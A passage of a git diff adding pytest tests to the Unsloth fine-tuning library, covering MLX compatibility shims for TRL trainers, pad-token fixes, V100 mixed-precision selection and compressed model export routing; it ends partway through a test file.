+def test_mlx_trainer_preserves_mlx_positional_schema_with_none_tokenizer():
+    """MLX-style `(model, tokenizer, train_dataset, ...)` should still work."""
+    unsloth = _import_mlx_unsloth()
+    dataset = [{"text": "hello"}]
+
+    trainer = unsloth.UnslothTrainer(
+        _DummyModel(),
+        None,
+        dataset,
+        None,
+    )
+
+    assert trainer.tokenizer is None
+    assert trainer.train_dataset is dataset
+    assert trainer.eval_dataset is None
+
+
+def test_mlx_compatibility_shims_are_installed():
+    """Old notebook imports should resolve to the MLX public API after unsloth import."""
+    unsloth = _import_mlx_unsloth()
+
+    trl = importlib.import_module("trl")
+    trainer_module = importlib.import_module("unsloth.trainer")
+    chat_templates = importlib.import_module("unsloth.chat_templates")
+    dataset_utils = importlib.import_module("unsloth_zoo.dataset_utils")
+
+    assert importlib.util.find_spec("trl") is not None
+    assert importlib.util.find_spec("unsloth.trainer") is not None
+    assert unsloth.trainer is trainer_module
+    assert unsloth.chat_templates is chat_templates
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trainer_module.UnslothTrainer is unsloth.UnslothTrainer
+    assert trainer_module.UnslothVisionDataCollator is unsloth.UnslothVisionDataCollator
+    assert chat_templates.train_on_responses_only is dataset_utils.train_on_responses_only
+    assert callable(unsloth.train_on_responses_only)
+
+
+def test_mlx_trl_shim_preserves_existing_trl_module(monkeypatch):
+    """The MLX TRL shim should patch, not replace, an already-loaded TRL module."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.existing_marker = object()
+    trl.ExistingExport = object()
+    trl.__all__ = ["ExistingExport", "BrokenExport"]
+
+    def _raise_for_broken_export(name):
+        if name == "BrokenExport":
+            raise RuntimeError("optional dependency missing")
+        raise AttributeError(name)
+
+    trl.__getattr__ = _raise_for_broken_export
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    assert sys.modules["trl"] is trl
+    assert trl.__path__ == ["real-trainer-package"]
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trl.__UNSLOTH_MLX_COMPAT__ is True
+    assert "ExistingExport" in trl.__all__
+    assert "BrokenExport" not in trl.__all__
+    assert "SFTTrainer" in trl.__all__
+    assert "SFTConfig" in trl.__all__
+
+
+def test_mlx_trl_shim_installs_real_trl_or_stub(monkeypatch):
+    """The MLX TRL shim should prefer real TRL and stub only if unavailable."""
+    unsloth = _import_mlx_unsloth()
+    monkeypatch.delitem(sys.modules, "trl", raising = False)
+    real_trl_available = importlib.util.find_spec("trl") is not None
+
+    unsloth._install_mlx_trl_sft_shim()
+    trl = importlib.import_module("trl")
+
+    if real_trl_available:
+        assert trl.__version__ != "0.0.0+unsloth-mlx"
+    else:
+        assert trl.__version__ == "0.0.0+unsloth-mlx"
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+    assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
+    assert trl.__UNSLOTH_MLX_COMPAT__ is True
+
+
+def test_mlx_trl_star_import_exports_public_shims():
+    """Existing `from trl import *` callers should receive MLX SFT shims."""
+    unsloth = _import_mlx_unsloth()
+    namespace = {}
+
+    exec("from trl import *", namespace)
+
+    assert namespace["SFTTrainer"] is unsloth.UnslothTrainer
+    assert issubclass(namespace["SFTConfig"], unsloth.UnslothTrainingArguments)
+
+
+def test_mlx_rl_trainers_stub_with_clear_error(monkeypatch):
+    """GRPO/DPO/ORPO trainers have no MLX path, so the shim retargets the ones trl
+    exposes to a clear NotImplementedError instead of a confusing CUDA crash, and
+    never invents trainers trl does not have."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+
+    class _RealTrainer:
+        def __init__(self, *args, **kwargs):
+            raise AssertionError("the real torch/CUDA trainer must not run on MLX")
+
+    trl.GRPOTrainer = _RealTrainer
+    trl.DPOTrainer = _RealTrainer
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    for name in ("GRPOTrainer", "DPOTrainer"):
+        assert getattr(trl, name) is not _RealTrainer
+        with pytest.raises(NotImplementedError) as exc:
+            getattr(trl, name)(model = None, args = None)
+        assert "MLX" in str(exc.value) and name in str(exc.value)
+    # trainers trl never exposed must not be invented
+    assert not hasattr(trl, "PPOTrainer")
+    # idempotent: a second install keeps the same stub
+    stub = trl.GRPOTrainer
+    unsloth._install_mlx_trl_sft_shim()
+    assert trl.GRPOTrainer is stub
+
+
+def test_mlx_rl_trainer_stub_is_lazy_import_safe(monkeypatch):
+    """Stubbing unsupported trl trainers must not resolve them: trl lazy-imports
+    pull torch, so on a torch-free MLX install a getattr probe would crash
+    `import unsloth`. The shim reads __all__/vars metadata and never triggers
+    trl's __getattr__ for a trainer it is about to replace."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.__all__ = ["SFTTrainer", "SFTConfig", "GRPOTrainer", "DPOTrainer"]
+    resolved = []
+
+    def _lazy_getattr(name):
+        resolved.append(name)
+        raise ImportError(f"lazy import of {name} would pull torch")
+
+    trl.__getattr__ = _lazy_getattr
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()  # must not raise despite the lazy trl
+
+    # trainers declared in __all__ are stubbed WITHOUT ever resolving the real one
+    assert resolved == []
+    for name in ("GRPOTrainer", "DPOTrainer"):
+        with pytest.raises(NotImplementedError):
+            getattr(trl, name)(model = None)
+
+
+def test_mlx_stubs_trl_trainers_outside_fixed_set(monkeypatch):
+    """Any non-SFT trainer trl exports (e.g. a newer RLOOTrainer not in the fixed
+    list) must be stubbed too, so no torch trainer slips through on MLX."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    trl.__all__ = ["SFTTrainer", "SFTConfig", "RLOOTrainer"]
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    with pytest.raises(NotImplementedError) as exc:
+        trl.RLOOTrainer(model = None)
+    assert "MLX" in str(exc.value) and "RLOOTrainer" in str(exc.value)
+    # SFT stays usable; only non-SFT trainers are stubbed
+    assert trl.SFTTrainer is unsloth.UnslothTrainer
+
+
+def test_mlx_preserve_dataset_order_is_accepted():
+    """preserve_dataset_order=True must be accepted (it is a real MLX config field),
+    not rejected as an unknown/unsupported argument."""
+    unsloth = _import_mlx_unsloth()
+    args = unsloth.UnslothTrainingArguments(
+        output_dir = "mlx-out",
+        max_steps = 10,
+        preserve_dataset_order = True,
+    )
+    assert getattr(args, "preserve_dataset_order", False) is True
+
+
+def test_mlx_sftconfig_alias_keeps_trl_epoch_default(monkeypatch):
+    """`trl.SFTConfig` (aliased on MLX) keeps TRL's default training length: with
+    no explicit max_steps/num_train_epochs it runs TRL's 3 epochs, not the native
+    MLX 60-step default. An explicit length is authoritative and untouched."""
+    unsloth = _import_mlx_unsloth()
+    trl = types.ModuleType("trl")
+    trl.__path__ = ["real-trainer-package"]
+    monkeypatch.setitem(sys.modules, "trl", trl)
+
+    unsloth._install_mlx_trl_sft_shim()
+
+    # no explicit length -> TRL epoch default (3 epochs, step cap disabled)
+    cfg = trl.SFTConfig(output_dir = "mlx-out")
+    assert cfg.num_train_epochs == 3
+    assert cfg.max_steps == -1
+    # explicit step / epoch counts stay exactly as written
+    assert trl.SFTConfig(output_dir = "mlx-out", max_steps = 17).max_steps == 17
+    assert trl.SFTConfig(output_dir = "mlx-out", num_train_epochs = 2).num_train_epochs == 2
+
+
+def test_mlx_vision_collator_is_constructor_compatible():
+    """Vision notebooks should be able to instantiate the collator placeholder."""
+    unsloth = _import_mlx_unsloth()
+
+    collator = unsloth.UnslothVisionDataCollator("model", "processor", flag = True)
+
+    assert collator.model == "model"
+    assert collator.processor == "processor"
+    assert collator.kwargs == {"completion_only_loss": True, "flag": True}
+
+
+def test_mlx_train_on_responses_only_returns_shared_mask_function():
+    """The MLX public shim should expose the shared response-mask helper."""
+    unsloth = _import_mlx_unsloth()
+
+    class Tokenizer:
+        def __call__(
+            self,
+            text,
+            add_special_tokens = False,
+        ):
+            return types.SimpleNamespace(
+                input_ids = {
+                    "<user>": [1],
+                    "<assistant>": [2],
+                }[text]
+            )
+
+        def convert_tokens_to_ids(self, token):
+            return token
+
+    mask_fn = unsloth.train_on_responses_only(
+        None,
+        instruction_part = "<user>",
+        response_part = "<assistant>",
+        tokenizer = Tokenizer(),
+        return_function = True,
+    )
+    masked = mask_fn(
+        {
+            "input_ids": [[1, 10, 2, 20, 21, 1, 11]],
+        }
+    )
+
+    assert masked == {"labels": [[-100, -100, -100, 20, 21, -100, -100]]}
+
+    last_mask_fn = unsloth.train_on_responses_only(
+        None,
+        instruction_part = "<user>",
+        response_part = "<assistant>",
+        tokenizer = Tokenizer(),
+        return_function = True,
+        last_response_only = True,
+    )
+    last_masked = last_mask_fn(
+        {
+            "input_ids": [[1, 10, 2, 20, 1, 11, 2, 30]],
+        }
+    )
+
+    assert last_masked == {"labels": [[-100, -100, -100, -100, -100, -100, -100, 30]]}
+
+
+def test_mlx_get_chat_template_uses_light_tokenizer_patch(monkeypatch):
+    """MLX notebooks should not import CUDA-heavy tokenizer/save helpers."""
+    _import_mlx_unsloth()
+    from unsloth.chat_templates import get_chat_template
+    import unsloth_zoo.tokenizer_utils as tokenizer_utils
+
+    class Tokenizer:
+        is_fast = True
+        padding_side = "right"
+        eos_token = "<eos>"
+        bos_token = "<bos>"
+        unk_token = "<unk>"
+        pad_token = "<pad>"
+        added_tokens_decoder = {}
+
+    def fake_patch_tokenizer(model, tokenizer):
+        return model, tokenizer
+
+    real_import = builtins.__import__
+
+    def guarded_import(name, *args, **kwargs):
+        if name.startswith("unsloth.models") or name.startswith("unsloth.save"):
+            raise AssertionError(f"unexpected CUDA-heavy import: {name}")
+        return real_import(name, *args, **kwargs)
+
+    monkeypatch.setattr(tokenizer_utils, "patch_tokenizer", fake_patch_tokenizer)
+    monkeypatch.setattr(builtins, "__import__", guarded_import)
+
+    tokenizer = get_chat_template(
+        Tokenizer(),
+        chat_template = ("{{ messages }}", "<eos>"),
+    )
+
+    assert tokenizer.chat_template == "{{ messages }}"
+    assert tokenizer.padding_side == "right"
+
+
+def test_mlx_gpu_memory_stats_helper_shape():
+    """The portable memory helper should return CUDA-shaped values."""
+    unsloth = _import_mlx_unsloth()
+
+    stats, used, total = unsloth.get_gpu_memory_stats()
+
+    assert isinstance(stats.name, str)
+    assert hasattr(stats, "total_memory")
+    assert isinstance(used, float)
+    assert total > 0
+
+
+def test_mlx_torch_cuda_compatibility_shim():
+    """Existing CUDA memory and move calls should run on MLX."""
+    unsloth = _import_mlx_unsloth()
+    torch = pytest.importorskip("torch")
+    from transformers.tokenization_utils_base import BatchEncoding
+
+    stats, used, total = unsloth.get_gpu_memory_stats()
+    cuda_stats = torch.cuda.get_device_properties(0)
+
+    assert cuda_stats.name == stats.name
+    assert cuda_stats.total_memory == stats.total_memory
+    assert torch.cuda.get_device_name(0) == stats.name
+    assert torch.cuda.max_memory_reserved() == int(used * 1024 * 1024 * 1024)
+    assert torch.cuda.max_memory_allocated() == torch.cuda.max_memory_reserved()
+    # current (non-max) APIs report live active memory, not the peak high-water
+    # mark, and never exceed it.
+    assert 0 <= torch.cuda.memory_reserved() <= torch.cuda.max_memory_reserved()
+    assert torch.cuda.memory_allocated() == torch.cuda.memory_reserved()
+    assert torch.cuda.device_count() == 1
+    assert torch.cuda.current_device() == 0
+    assert torch.cuda.get_device_capability() == (0, 0)
+    assert total > 0
+
+    free_bytes, total_bytes = torch.cuda.mem_get_info()
+    assert total_bytes == int(total * 1024 * 1024 * 1024)
+    assert 0 <= free_bytes <= total_bytes
+
+    torch.cuda.empty_cache()
+    torch.cuda.synchronize()
+    torch.cuda.reset_peak_memory_stats()
+    torch.cuda.set_device(0)
+
+    tensor = torch.tensor([1, 2, 3])
+    assert tensor.to("cuda") is tensor
+    assert tensor.cuda() is tensor
+    assert tensor.to(device = "cuda") is tensor
+    assert tensor.to("cuda", dtype = torch.float32).dtype == torch.float32
+
+    batch = BatchEncoding({"input_ids": tensor})
+    assert batch.to("cuda") is batch
+    assert batch.to(device = "cuda") is batch
diff --git a/tests/python/test_no_torch_filtering.py b/tests/python/test_no_torch_filtering.py
index 9dcda5c60c..732c1b7432 100644
--- a/tests/python/test_no_torch_filtering.py
+++ b/tests/python/test_no_torch_filtering.py
@@ -138,7 +138,6 @@ class TestFilterRequirements:
         req = self._write_req(
             tmp_path,
             """\
-            open_spiel
             triton_kernels
             torch-stoi
             timm
@@ -222,8 +221,8 @@ class TestRealRequirementsFiltering:
         filtered = self._non_blank_non_comment(Path(result))
         original = self._non_blank_non_comment(EXTRAS_TXT)
 
-        # These must be gone.
-        for pkg in ["torch-stoi", "timm", "openai-whisper", "transformers-cfg"]:
+        # Every NO_TORCH skip package present in extras.txt must be gone.
+        for pkg in ips.NO_TORCH_SKIP_PACKAGES:
             assert not any(
                 l.lower().startswith(pkg) for l in filtered
             ), f"{pkg} should be removed from extras.txt"
diff --git a/tests/python/test_pad_token_fix.py b/tests/python/test_pad_token_fix.py
new file mode 100644
index 0000000000..5f2a29a323
--- /dev/null
+++ b/tests/python/test_pad_token_fix.py
@@ -0,0 +1,109 @@
+"""_fix_pad_token dispatch in unsloth/tokenizer_utils.py.
+
+It must delegate to unsloth_zoo's shared fix_pad_token when present (single
+source of truth), and fall back to a no-op against an older unsloth_zoo. Static
++ CPU-only: _fix_pad_token is exec'd in isolation so the test never imports
+torch / transformers / unsloth.
+"""
+
+import ast
+import os
+import sys
+import types
+
+REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+TOK_PATH = os.path.join(REPO_ROOT, "unsloth", "tokenizer_utils.py")
+
+WANTED = {
+    "_fix_pad_token",
+}
+
+
+def _load_pad_helpers():
+    """Exec only the pad-token helpers with a stub logger (no heavy imports)."""
+    tree = ast.parse(open(TOK_PATH).read())
+    nodes = []
+    for node in tree.body:
+        if isinstance(node, ast.Assign):
+            names = {t.id for t in node.targets if isinstance(t, ast.Name)}
+            if names & WANTED:
+                nodes.append(node)
+        elif isinstance(node, ast.FunctionDef) and node.name in WANTED:
+            nodes.append(node)
+    module = ast.Module(body = nodes, type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {"logger": types.SimpleNamespace(warning = lambda *a, **k: None)}
+    exec(compile(module, TOK_PATH, "exec"), ns)
+    return ns
+
+
+class FakeTok:
+    def __init__(self, vocab, pad, eos):
+        self._v = dict(vocab)
+        self.pad_token = pad
+        self.eos_token = eos
+
+    @property
+    def pad_token_id(self):
+        return self._v.get(self.pad_token)
+
+    @property
+    def eos_token_id(self):
+        return self._v.get(self.eos_token)
+
+    def get_vocab(self):
+        return dict(self._v)
+
+
+def _block_shared_module(monkeypatch):
+    # Stub parent so importing it is cheap, and mark the submodule absent.
+    monkeypatch.setitem(sys.modules, "unsloth_zoo", types.ModuleType("unsloth_zoo"))
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.pad_token", None)
+
+
+def test_fix_pad_token_none_is_noop():
+    ns = _load_pad_helpers()
+    assert ns["_fix_pad_token"](None) is None
+
+
+def test_fallback_keeps_pad_named_token(monkeypatch):
+    ns = _load_pad_helpers()
+    _block_shared_module(monkeypatch)
+    # A pad-named token (e.g. <|vision_pad|>) is a valid pad -> fallback keeps it.
+    tok = FakeTok(
+        {"<|endoftext|>": 1, "<|im_end|>": 2, "<|vision_pad|>": 3},
+        pad = "<|vision_pad|>",
+        eos = "<|im_end|>",
+    )
+    ns["_fix_pad_token"](tok)
+    assert tok.pad_token == "<|vision_pad|>"
+    assert tok.pad_token != tok.eos_token
+
+
+def test_fallback_leaves_valid_pad_untouched(monkeypatch):
+    ns = _load_pad_helpers()
+    _block_shared_module(monkeypatch)
+    tok = FakeTok({"<s>": 1, "</s>": 2, "<pad>": 0}, pad = "<pad>", eos = "</s>")
+    ns["_fix_pad_token"](tok)
+    assert tok.pad_token == "<pad>"
+
+
+def test_fix_pad_token_delegates_to_shared_module(monkeypatch):
+    ns = _load_pad_helpers()
+    calls = {}
+
+    fake = types.ModuleType("unsloth_zoo.pad_token")
+
+    def fix_pad_token(tokenizer, allow_add = True):
+        calls["allow_add"] = allow_add
+        tokenizer.pad_token = "SHARED"
+
+    fake.fix_pad_token = fix_pad_token
+    monkeypatch.setitem(sys.modules, "unsloth_zoo", types.ModuleType("unsloth_zoo"))
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.pad_token", fake)
+
+    tok = FakeTok({"a": 1}, pad = "x", eos = "y")
+    ns["_fix_pad_token"](tok)
+    # Delegated, and crucially with allow_add=False (no model here to resize).
+    assert tok.pad_token == "SHARED"
+    assert calls["allow_add"] is False
diff --git a/tests/python/test_v100_fullft_precision.py b/tests/python/test_v100_fullft_precision.py
new file mode 100644
index 0000000000..c8ca769d45
--- /dev/null
+++ b/tests/python/test_v100_fullft_precision.py
@@ -0,0 +1,193 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression tests for full finetuning precision on no-bf16 GPUs (V100/T4).
+
+Full finetuning upcasts trainable weights to float32, so the model dtype is
+float32 (not bfloat16). The SFTTrainer mixed-precision template in
+unsloth/models/rl.py must then:
+  - run the forward pass under float16 autocast for normal models,
+  - keep FORCE_FLOAT32 models (Gemma3, gpt_oss, ...) in pure float32,
+  - never select bf16 on hardware without bf16.
+
+We execute the REAL template block extracted from rl.py source (no heavy unsloth
+import) against mocked inputs. See issue #4082.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+torch = pytest.importorskip("torch")
+
+RL_PY = Path(__file__).resolve().parents[2] / "unsloth" / "models" / "rl.py"
+
+
+def _extract_mixed_precision_code() -> str:
+    lines = RL_PY.read_text().split("\n")
+    try:
+        start = next(i for i, l in enumerate(lines) if "mixed_precision = (" in l)
+    except StopIteration:
+        pytest.skip("mixed_precision template not found in rl.py")
+    body, k = [], start + 1
+    while lines[k].strip() != ")":
+        body.append(lines[k])
+        k += 1
+    return eval("(\n" + "\n".join(body) + "\n)")  # only string literals + comments
+
+
+CODE = _extract_mixed_precision_code()
+
+
+def _restore(mapping, saved):
+    """Restore a dict-like to its saved snapshot: pop keys that were absent."""
+    for k, v in saved.items():
+        if v is None:
+            mapping.pop(k, None)
+        else:
+            mapping[k] = v
+
+
+def _decide(dtype, *, bf16_supported, force_float32, full_finetuning, mixed_precision, fp16, bf16):
+    """Run the template block; return (args.fp16, args.bf16, ACCELERATE_MP, raised).
+
+    Stubs (sys.modules, env vars, torch.cuda.is_bf16_supported) are restored on
+    exit so a decision can't leak into later tests in the same process.
+    """
+    uzu = types.ModuleType("unsloth_zoo.utils")
+    uzu._get_dtype = lambda x: x
+    uzd = types.ModuleType("unsloth_zoo.device_type")
+    uzd.device_is_bf16_supported = lambda: bf16_supported  # device-aware signal stub
+
+    env_keys = (
+        "UNSLOTH_FORCE_FLOAT32",
+        "UNSLOTH_ENABLE_FULL_FINETUNING",
+        "UNSLOTH_MIXED_PRECISION",
+        "ACCELERATE_MIXED_PRECISION",
+    )
+    mod_keys = ("unsloth_zoo", "unsloth_zoo.utils", "unsloth_zoo.device_type")
+    saved_env = {k: os.environ.get(k) for k in env_keys}
+    saved_mods = {k: sys.modules.get(k) for k in mod_keys}
+    orig_bf16 = torch.cuda.is_bf16_supported
+    try:
+        sys.modules.setdefault("unsloth_zoo", types.ModuleType("unsloth_zoo"))
+        sys.modules["unsloth_zoo.utils"] = uzu
+        sys.modules["unsloth_zoo.device_type"] = uzd
+        for k in env_keys:
+            os.environ.pop(k, None)
+        os.environ["UNSLOTH_FORCE_FLOAT32"] = "1" if force_float32 else "0"
+        os.environ["UNSLOTH_ENABLE_FULL_FINETUNING"] = "1" if full_finetuning else "0"
+        os.environ["UNSLOTH_MIXED_PRECISION"] = mixed_precision
+        torch.cuda.is_bf16_supported = lambda *a, **k: bf16_supported
+        args = types.SimpleNamespace(fp16 = fp16, bf16 = bf16, mixed_precision = None)
+        emb = types.SimpleNamespace(weight = types.SimpleNamespace(dtype = dtype))
+        model = types.SimpleNamespace(
+            config = types.SimpleNamespace(dtype = dtype, torch_dtype = dtype),
+            get_input_embeddings = lambda: emb,
+        )
+        raised = None
+        try:
+            exec(CODE, {"torch": torch, "os": os}, {"args": args, "model": model})
+        except TypeError:
+            raised = "TypeError"
+        return args.fp16, args.bf16, os.environ.get("ACCELERATE_MIXED_PRECISION"), raised
+    finally:
+        torch.cuda.is_bf16_supported = orig_bf16
+        _restore(os.environ, saved_env)
+        _restore(sys.modules, saved_mods)
+
+
+def test_v100_normal_fullft_fp16_explicit():
+    # Normal model, full FT (weights upcast to float32), V100, fp16=True.
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = False,
+        force_float32 = False,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = True,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (True, False)  # float32 weights + fp16 forward
+
+
+def test_v100_normal_fullft_precision_unset():
+    # Same, but user left precision unset -> must pick fp16, never bf16.
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = False,
+        force_float32 = False,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = False,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (True, False)
+    assert amp == "fp16"
+
+
+def test_force_float32_model_fullft_is_pure_float32():
+    # FORCE_FLOAT32 model (Gemma3, gpt_oss, ...) in full FT -> pure float32, no autocast.
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = False,
+        force_float32 = True,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = True,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (False, False)
+    assert amp in (None, "no")
+
+
+def test_no_bf16_on_volta_in_auto_branch():
+    # bf16 model dtype but no bf16 HW, precision unset -> fp16, never bf16.
+    fp16, bf16, amp, raised = _decide(
+        torch.bfloat16,
+        bf16_supported = False,
+        force_float32 = False,
+        full_finetuning = False,
+        mixed_precision = "float32",
+        fp16 = False,
+        bf16 = False,
+    )
+    assert bf16 is False
+
+
+def test_bf16_gpu_unchanged_auto_branch():
+    # Regression guard: on a bf16 GPU, a float32 model with unset precision
+    # still selects bf16 autocast (behavior must not change for bf16 hardware).
+    fp16, bf16, amp, raised = _decide(
+        torch.float32,
+        bf16_supported = True,
+        force_float32 = False,
+        full_finetuning = True,
+        mixed_precision = "float32",
+        fp16 = False,
+        bf16 = False,
+    )
+    assert raised is None
+    assert (fp16, bf16) == (False, True)
+
+
+def test_genuine_bf16_model_with_fp16_still_raises():
+    # A real bfloat16 model on bf16 HW with fp16 requested is a genuine mismatch.
+    _, _, _, raised = _decide(
+        torch.bfloat16,
+        bf16_supported = True,
+        force_float32 = False,
+        full_finetuning = False,
+        mixed_precision = "float32",
+        fp16 = True,
+        bf16 = False,
+    )
+    assert raised == "TypeError"
diff --git a/tests/run_all.sh b/tests/run_all.sh
index 2c495f5561..d03f4c4d4f 100755
--- a/tests/run_all.sh
+++ b/tests/run_all.sh
@@ -11,9 +11,11 @@ sh "$TESTS_DIR/sh/test_get_torch_index_url.sh"
 sh "$TESTS_DIR/sh/test_mac_intel_compat.sh"
 sh "$TESTS_DIR/sh/test_torch_constraint.sh"
 sh "$TESTS_DIR/sh/test_nvcc_meets_llama_minimum.sh"
+sh "$TESTS_DIR/sh/test_resolve_cuda_archs.sh"
 sh "$TESTS_DIR/sh/test_strixhalo_wsl_reroute.sh"
 sh "$TESTS_DIR/sh/test_uninstall_shared_icon.sh"
 sh "$TESTS_DIR/sh/test_torch_flavor.sh"
+sh "$TESTS_DIR/sh/test_install_uv_override_space.sh"
 
 echo ""
 echo "=== Python tests ==="
diff --git a/tests/saving/test_compressed_export_schemes.py b/tests/saving/test_compressed_export_schemes.py
new file mode 100644
index 0000000000..2acab1c087
--- /dev/null
+++ b/tests/saving/test_compressed_export_schemes.py
@@ -0,0 +1,69 @@
+"""CPU-only, deterministic checks for the compressed-tensors export registry and the
+`save_method` normalization logic.
+
+No GPU, no model load, no torch math - just the pure routing logic - so a registry or
+alias regression is caught fast on CPU-only CI.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from unsloth.save import COMPRESSED_EXPORT_SCHEMES, _normalize_compressed_method
+
+
+def test_registry_entries_are_well_formed():
+    assert COMPRESSED_EXPORT_SCHEMES, "compressed export registry must not be empty"
+    for alias, value in COMPRESSED_EXPORT_SCHEMES.items():
+        assert (
+            isinstance(alias, str) and alias == alias.lower()
+        ), f"alias must be a lowercase str: {alias!r}"
+        assert (
+            isinstance(value, tuple) and len(value) == 3
+        ), f"{alias!r} must map to a (scheme, needs_calib, suffix) tuple"
+        scheme, needs_calib, suffix = value
+        assert isinstance(scheme, str) and scheme, f"{alias!r}: scheme must be a non-empty str"
+        assert isinstance(needs_calib, bool), f"{alias!r}: needs_calibration must be a bool"
+        assert isinstance(suffix, str) and suffix, f"{alias!r}: suffix must be a non-empty str"
+        # The suffix builds the sibling output dir "<save_dir>-<suffix>"; keep it path-safe.
+        assert not (
+            set(suffix) & set("/\\ ")
+        ), f"{alias!r}: suffix {suffix!r} must be filesystem-safe"
+
+
+def test_every_alias_round_trips_case_and_separator_insensitive():
+    for alias, value in COMPRESSED_EXPORT_SCHEMES.items():
+        assert _normalize_compressed_method(alias) == value
+        assert _normalize_compressed_method(alias.upper()) == value
+        # users may pass dashes / surrounding whitespace
+        assert _normalize_compressed_method(f"  {alias.replace('_', '-')}  ") == value
+
+
+@pytest.mark.parametrize(
+    "method", ["merged_16bit", "16bit", "merged_4bit", "lora", "", None, 123, ["fp8"]]
+)
+def test_standard_save_methods_are_not_treated_as_compressed(method):
+    assert _normalize_compressed_method(method) is None
+
+
+@pytest.mark.parametrize(
+    "method", ["fp8_turbo", "nvfp4_xl", "w4a99", "mxfp3", "int8_banana", "fp4_max"]
+)
+def test_near_miss_compressed_names_raise(method):
+    # Names that clearly intend a compressed scheme but are unsupported must fail loudly,
+    # not fall through to the generic "unknown save_method" path.
+    with pytest.raises(RuntimeError):
+        _normalize_compressed_method(method)
+
+
+def test_calibration_flags_match_known_schemes():
+    # Only static FP8 and NVFP4 require calibration data; everything else is data-free.
+    assert _normalize_compressed_method("fp8")[1] is False
+    assert _normalize_compressed_method("fp8_static")[1] is True
+    assert _normalize_compressed_method("nvfp4")[1] is True
+    assert _normalize_compressed_method("mxfp4")[1] is False
+
+
+def test_core_aliases_present():
+    for alias in ("fp8", "fp8_dynamic", "fp8_static", "mxfp4", "nvfp4", "int8", "w4a16", "w8a8"):
+        assert alias in COMPRESSED_EXPORT_SCHEMES, f"expected core alias {alias!r} in registry"
diff --git a/tests/saving/test_export_api_surface.py b/tests/saving/test_export_api_surface.py
new file mode 100644
index 0000000000..7955b50968
--- /dev/null
+++ b/tests/saving/test_export_api_surface.py
@@ -0,0 +1,176 @@
+"""CPU-only AST checks on the export API surface in save.py / _compressed_quantize.py.
+
+These catch wiring regressions - a save_method that stops dispatching, a public method that
+stops being attached to the model, or an export subprocess that becomes shell-unsafe - without
+importing torch or touching a GPU. Pure `ast`, so they run in milliseconds on CPU-only CI.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+UNSLOTH = Path(__file__).resolve().parents[2] / "unsloth"
+SAVE_PY = UNSLOTH / "save.py"
+QUANT_PY = UNSLOTH / "_compressed_quantize.py"
+
+SAVE_SRC = SAVE_PY.read_text(encoding = "utf-8")
+SAVE_TREE = ast.parse(SAVE_SRC, filename = str(SAVE_PY))
+
+# Every merged-save entry point that must route compressed (FP8/FP4/INT) save_methods.
+MERGED_SAVERS = (
+    "unsloth_save_pretrained_merged",
+    "unsloth_push_to_hub_merged",
+    "unsloth_generic_save_pretrained_merged",
+    "unsloth_generic_push_to_hub_merged",
+)
+# Public export methods that must be attached to the model in patch_saving_functions.
+PUBLIC_EXPORT_METHODS = (
+    "save_pretrained_merged",
+    "push_to_hub_merged",
+    "save_pretrained_gguf",
+    "push_to_hub_gguf",
+    "save_pretrained_torchao",
+    "save_pretrained_ggml",
+    "push_to_hub_ggml",
+)
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"function {name!r} not found in {SAVE_PY.name}")
+
+
+def _called_names(node):
+    names = set()
+    for c in ast.walk(node):
+        if isinstance(c, ast.Call):
+            if isinstance(c.func, ast.Name):
+                names.add(c.func.id)
+            elif isinstance(c.func, ast.Attribute):
+                names.add(c.func.attr)
+    return names
+
+
+def _subprocess_calls(node):
+    out = []
+    for c in ast.walk(node):
+        if (
+            isinstance(c, ast.Call)
+            and isinstance(c.func, ast.Attribute)
+            and isinstance(c.func.value, ast.Name)
+            and c.func.value.id == "subprocess"
+            and c.func.attr in ("Popen", "run", "check_call", "check_output")
+        ):
+            out.append(c)
+    return out
+
+
+def _list_var_elts(func_node, var_name):
+    for child in ast.walk(func_node):
+        if isinstance(child, ast.Assign) and isinstance(child.value, ast.List):
+            if any(isinstance(t, ast.Name) and t.id == var_name for t in child.targets):
+                return child.value.elts
+    return None
+
+
+def test_all_merged_savers_dispatch_compressed_export():
